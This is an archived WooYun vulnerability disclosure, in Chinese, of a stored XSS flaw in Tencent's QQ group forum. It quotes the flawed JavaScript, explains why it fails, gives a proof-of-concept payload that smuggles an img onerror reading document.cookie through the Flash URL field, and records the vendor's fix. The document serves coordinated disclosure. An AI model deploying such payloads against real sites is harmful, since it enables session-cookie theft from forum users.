当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013624

漏洞标题:PKAV腾讯专场 - 4. QQ群论坛存储型XSS

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-10-20 23:36

修复时间:2012-12-04 23:37

公开时间:2012-12-04 23:37

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-20: 细节已通知厂商并且等待厂商处理中
2012-10-23: 厂商已经确认,细节仅向厂商公开
2012-11-02: 细节向核心白帽子及相关领域专家公开
2012-11-12: 细节向普通白帽子公开
2012-11-22: 细节向实习白帽子公开
2012-12-04: 细节向公众公开

简要描述:

QQ群论坛某处代码缺陷导致存储型XSS,记得之前在群里发新帖子,是会有提示告诉群里的“XXX发布了一个新的帖子”,然后可以直接点进去看的,要是一点进去,就被XSS了,多带感~~ 哈哈。 本文会同步至pkav.net

详细说明:

缺陷文件:http://qun.qq.com/god/m/js/bbs.zh-cn.js
缺陷代码:

$('div.blogInfo img').load(function() {
var obj = $(this),
title = obj.attr('title'),
src = obj.attr('src'),
reg = /src:(http:\/\/.{5,}\.swf),width:(\d+),height:(\d+)/g;
var match = reg.exec(title);
if (match && match.length > 0 && /.*\/god\/images\/space\.gif/.test(src)) {
obj.replaceWith('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="' + match[2] + '" height="' + match[3] + '"><param name="movie" value="' + match[1] + '" /><param name="quality" value="high" /><embed type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" menu="true" width="' + match[2] + '" height="' + match[3] + '" src="' + match[1] + '" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object>');
return;
}
}


成因解析:
1. 程序员在显示FLASH时,是先将FLASH地址存储到了一个临时的img标签的title属性里,而在创建FLASH这个DOM元素时,从title里取出地址时,未进行二次的HTML过滤。从而导致了XSS。
2. 页面输出的临时IMG代码

<div class="blogInfo cl" id="blogInfo">														<img title="src:http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert  (document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf,width:480,height:320" src="http://s.qun.qq.com/god/images/space.gif" width="480" height="320"  /> <div>


3. title = obj.attr('title'),取出title属性后,其中的&quot;等都自动转义回 " 等符号.
POC:
插入FLASH时,输入以下代码:

http://www.1.com/1.swf&quot;&gt;&lt;img/src=&quot;1&quot;onerror=&quot;alert(document.cookie);&quot;style=&quot;display:none;&quot;&gt;&lt;i/a=&quot;#.swf


然后发表帖子即可。


漏洞证明:


至于怎么利用,不做过多的危害演示啦~~

修复方案:

title = obj.attr('title') 取出title后,进行二次过滤

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-23 19:12

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

2012-10-25:非常感谢您的报告,目前已经完成对该漏洞的修复,请您帮助复查,有任何问题请联系我们。